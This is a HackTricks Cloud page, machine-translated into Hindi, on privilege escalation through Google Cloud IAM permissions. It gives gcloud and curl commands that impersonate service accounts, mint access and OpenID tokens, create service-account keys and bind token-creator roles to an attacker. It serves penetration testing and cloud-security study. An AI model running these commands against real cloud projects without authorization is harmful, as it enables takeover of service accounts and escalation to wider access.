GCP - IAM Privesc

AWS Hacking सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks को समर्थन दें

सदस्यता योजनाओं की जाँच करें!
💬 Discord समूह या telegram समूह में शामिल हों या हमें Twitter 🐦 पर फॉलो करें @hacktricks_live.**
PRs सबमिट करके हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में।

IAM

IAM के बारे में अधिक जानकारी प्राप्त करें:

GCP - IAM, Principals & Org Policies Enum

`iam.roles.update` (`iam.roles.get`)

उपरोक्त अनुमतियों के साथ एक हमलावर आपके लिए असाइन किए गए रोल को अपडेट कर सकेगा और आपको अन्य संसाधनों के लिए अतिरिक्त अनुमतियाँ दे सकेगा जैसे:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

आप एक स्क्रिप्ट पा सकते हैं जो vuln environment के निर्माण, exploit और सफाई को स्वचालित करती है यहाँ और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट यहाँ पा सकते हैं। अधिक जानकारी के लिए मूल शोध देखें।

`iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)

उल्लेखित अनुमतियों के साथ एक हमलावर एक Service Account से संबंधित access token का अनुरोध करने में सक्षम होगा, इसलिए हमारे से अधिक विशेषाधिकार वाले Service Account का access token अनुरोध करना संभव है।

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

आप एक स्क्रिप्ट यहाँ पा सकते हैं जो एक vuln environment के निर्माण, exploit और सफाई को स्वचालित करने के लिए है और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट यहाँ पा सकते हैं। अधिक जानकारी के लिए मूल शोध देखें।

`iam.serviceAccountKeys.create`

उल्लेखित अनुमतियों के साथ एक हमलावर एक Service Account के लिए एक user-managed key बना सकेगा, जो हमें उस Service Account के रूप में GCP तक पहुंचने की अनुमति देगा।

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

ध्यान दें कि iam.serviceAccountKeys.update एक SA की कुंजी को संशोधित करने के लिए काम नहीं करेगा क्योंकि ऐसा करने के लिए iam.serviceAccountKeys.create अनुमतियाँ भी आवश्यक हैं।

`iam.serviceAccounts.implicitDelegation`

यदि आपके पास किसी Service Account पर iam.serviceAccounts.implicitDelegation अनुमति है जिसके पास किसी तीसरे Service Account पर iam.serviceAccounts.getAccessToken अनुमति है, तो आप implicitDelegation का उपयोग करके उस तीसरे Service Account के लिए एक टोकन बना सकते हैं। इसे समझाने के लिए यहाँ एक आरेख है।

ध्यान दें कि दस्तावेज़ के अनुसार, gcloud का delegation केवल generateAccessToken() विधि का उपयोग करके एक टोकन उत्पन्न करने के लिए काम करता है। तो यहाँ आपके पास API का सीधे उपयोग करके टोकन प्राप्त करने का तरीका है:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

`iam.serviceAccounts.signBlob`

उपरोक्त अनुमतियों के साथ एक हमलावर GCP में मनमाने payloads पर हस्ताक्षर करने में सक्षम होगा। इसलिए यह संभव होगा कि SA का एक unsigned JWT बनाया जाए और फिर इसे blob के रूप में भेजा जाए ताकि हम जिस SA को लक्षित कर रहे हैं उससे JWT पर हस्ताक्षर हो सके। अधिक जानकारी के लिए यह पढ़ें।

आप एक स्क्रिप्ट पा सकते हैं जो vuln environment के निर्माण, exploit और सफाई को स्वचालित करती है यहाँ और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट यहाँ और यहाँ पा सकते हैं। अधिक जानकारी के लिए मूल शोध देखें।

`iam.serviceAccounts.signJwt`

उपरोक्त अनुमतियों के साथ एक हमलावर अच्छी तरह से निर्मित JSON web tokens (JWTs) पर हस्ताक्षर करने में सक्षम होगा। पिछले तरीके के साथ अंतर यह है कि blob में JWT को शामिल करने के बजाय, हम signJWT विधि का उपयोग करते हैं जो पहले से ही JWT की अपेक्षा करता है। यह उपयोग में आसान बनाता है लेकिन आप केवल JWT पर ही हस्ताक्षर कर सकते हैं, किसी भी bytes पर नहीं।

`iam.serviceAccounts.setIamPolicy`

उपरोक्त अनुमतियों के साथ एक हमलावर service accounts को IAM नीतियाँ जोड़ने में सक्षम होगा। आप इसे दुरुपयोग कर सकते हैं ताकि आपको आवश्यक अनुमतियाँ प्रदान कर सकें ताकि आप service account का प्रतिरूपण कर सकें। निम्नलिखित उदाहरण में हम अपने आप को roles/iam.serviceAccountTokenCreator भूमिका प्रदान कर रहे हैं:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

आप एक स्क्रिप्ट यहाँ पा सकते हैं।

`iam.serviceAccounts.actAs`

iam.serviceAccounts.actAs अनुमति AWS से iam:PassRole अनुमति की तरह है। यह कार्यों को निष्पादित करने के लिए आवश्यक है, जैसे कि Compute Engine instance को प्रारंभ करना, क्योंकि यह "actAs" एक Service Account के रूप में कार्य करने की क्षमता प्रदान करता है, जिससे सुरक्षित अनुमति प्रबंधन सुनिश्चित होता है। इसके बिना, उपयोगकर्ता अनुचित पहुंच प्राप्त कर सकते हैं। इसके अतिरिक्त, iam.serviceAccounts.actAs का शोषण विभिन्न तरीकों से किया जा सकता है, जिनमें से प्रत्येक के लिए एक सेट अनुमति की आवश्यकता होती है, अन्य तरीकों के विपरीत जो केवल एक की आवश्यकता होती है।

Service account impersonation

एक service account का प्रतिरूपण करना नए और बेहतर विशेषाधिकार प्राप्त करने के लिए बहुत उपयोगी हो सकता है। तीन तरीके हैं जिनसे आप किसी अन्य service account का प्रतिरूपण कर सकते हैं:

RSA private keys का उपयोग करके प्रमाणीकरण (ऊपर कवर किया गया)
Cloud IAM नीतियों का उपयोग करके प्राधिकरण (यहाँ कवर किया गया)
GCP सेवाओं पर नौकरियों को तैनात करना (उपयोगकर्ता खाते के समझौते के लिए अधिक लागू)

`iam.serviceAccounts.getOpenIdToken`

उपरोक्त अनुमतियों वाले हमलावर एक OpenID JWT उत्पन्न करने में सक्षम होंगे। इनका उपयोग पहचान को प्रमाणित करने के लिए किया जाता है और जरूरी नहीं कि किसी संसाधन के खिलाफ कोई निहित प्राधिकरण ले जाएं।

इस दिलचस्प पोस्ट के अनुसार, यह आवश्यक है कि आप दर्शकों (सेवा जहां आप टोकन का उपयोग करके प्रमाणीकरण करना चाहते हैं) को इंगित करें और आपको google द्वारा हस्ताक्षरित एक JWT प्राप्त होगा जो सेवा खाता और JWT के दर्शकों को इंगित करता है।

आप एक OpenIDToken उत्पन्न कर सकते हैं (यदि आपके पास पहुंच है) के साथ:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

फिर आप इसे सेवा तक पहुँचने के लिए उपयोग कर सकते हैं:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Some services that support authentication via this kind of tokens are:

Google Cloud Run
Google Cloud Functions
Google Identity Aware Proxy
Google Cloud Endpoints (if using Google OIDC)

आप एक उदाहरण पा सकते हैं कि कैसे एक सेवा खाता की ओर से OpenID टोकन बनाया जाए यहाँ।

References

https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

HackTricks को समर्थन दें

subscription plans देखें!
शामिल हों 💬 Discord group या telegram group या हमें फॉलो करें Twitter 🐦 @hacktricks_live** पर।**
हैकिंग ट्रिक्स साझा करें PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।

PreviousGCP - Deploymentmaneger Privesc NextGCP - KMS Privesc

Last updated 1 month ago

IAM

iam.roles.update (iam.roles.get)

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

iam.serviceAccountKeys.create

iam.serviceAccounts.implicitDelegation

iam.serviceAccounts.signBlob

iam.serviceAccounts.signJwt

iam.serviceAccounts.setIamPolicy

iam.serviceAccounts.actAs